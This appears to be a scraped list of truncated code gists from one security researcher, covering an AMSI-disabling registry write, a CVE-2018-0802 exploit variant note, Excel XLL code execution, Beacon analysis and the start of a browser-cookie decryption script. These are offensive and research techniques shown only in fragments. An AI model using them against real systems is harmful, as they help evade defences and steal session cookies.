rxwx

var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";

try{
	var AmsiEnable = sh.RegRead(key);
	if(AmsiEnable!=0){
	throw new Error(1, '');
	}
}catch(e){
	sh.RegWrite(key, 0, "REG_DWORD"); // neuter AMSI

rxwx

New Equation Editor Exploit Variant

On 19/03/18, a large number of RTF samples started triggering one of my "suspicious" RTF rules. Looking at the samples, they all appeared to have around 2-4 detections, which seemed curious. This was confirmed by Mitja Kolsek to be a new variant of CVE-2018-0802, which is already covered by 0patch, and patched by Microsoft in January 2018. However, the technique is not unique to CVE-2018-0802 and can be seen used to exploit CVE-2017-11882 aswell.

• VT: https://www.virustotal.com/#/file/189d2dc825a3b1f00b91d3e0b7678b7fb128e74d831d99487b80cbf5cf805a74/detection
• Anyrun: https://app.any.run/tasks/e3d99cd3-8886-48f1-a8ce-dde0cbbe0889

This was also seen by Shiao Qu. There is a [blog post](https://www.drop

rxwx

import requests
import sys
import re

HEADERS = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0"}

if len(sys.argv) != 2:
    print " Usage: python pulseversion.py <target ip/domain>"
    sys.exit(1)

rxwx

from ctypes import wintypes
import argparse
import ctypes
import yara
import hexdump

"""
.text:0000000180010840                         ; char __fastcall BeaconDataStoreUnprotectItem(unsigned __int64)
.text:0000000180010840                         BeaconDataStoreUnprotectItem proc near  ; CODE XREF: sub_1800100F8+9E↑p
.text:0000000180010840                                                                 ; sub_1800102E8+AD↑p

rxwx

using System;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using static GetSxsPath.NativeMethods;

namespace GetSxsPath
{
    internal class NativeMethods

rxwx

import io
import sys
import string

KEY_STR = 'ModifiedFwPropertySheetWithOKTheSheetIDS_LDAP_AU_PROPERTIESNULL0FW_WP_OBJECTS'

def get_byte(x):
    c = ord(chr(x).lower())
    if ((c - 0x30) & 255) < 10:
        retval = c - 0x30

rxwx

Notes

An XLL file is basically a DLL with some special features to make it work with Excel.

See - https://msdn.microsoft.com/en-us/library/office/bb687911.aspx

By creating a DLL which exports xlAutoOpen, and then renaming the compiled DLL to .xll, we can execute our code in DllMain when the file is loaded by Excel.

The attached .xll file will open with Excel (by default) when double-clicked. The user will then be presented with a warning. If the warning is clicked through, then our code is executed.

rxwx

Description

This Gist documents the values of the HKLM\SOFTWARE\Policies\Adobe\Acrobat Reader\11.0\FeatureLockDown\cDefaultLaunchAttachmentPerms registry key in each version of Adobe Reader 11.0.10 -> 11.0.x

Value meanings

According to: https://www.adobe.com/devnet-docs/acrobatetk/tools/PrefRef/Windows/Attachments.html#idkeyname_1_2986

There are 3 possible values:

rxwx

import re
import sys

versions = {
    0x00: 'Excel 97',
    0x01: 'Excel 2000',
    0x02: 'Excel 2002',
    0x03: 'Office Excel 2003',
    0x04: 'Office Excel 2007',
    0x06: 'Excel 2010',

rxwx

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3
import os
import shutil

def clean(x):
    return x[:-ord(x[-1])]

# Make a copy of the cookie file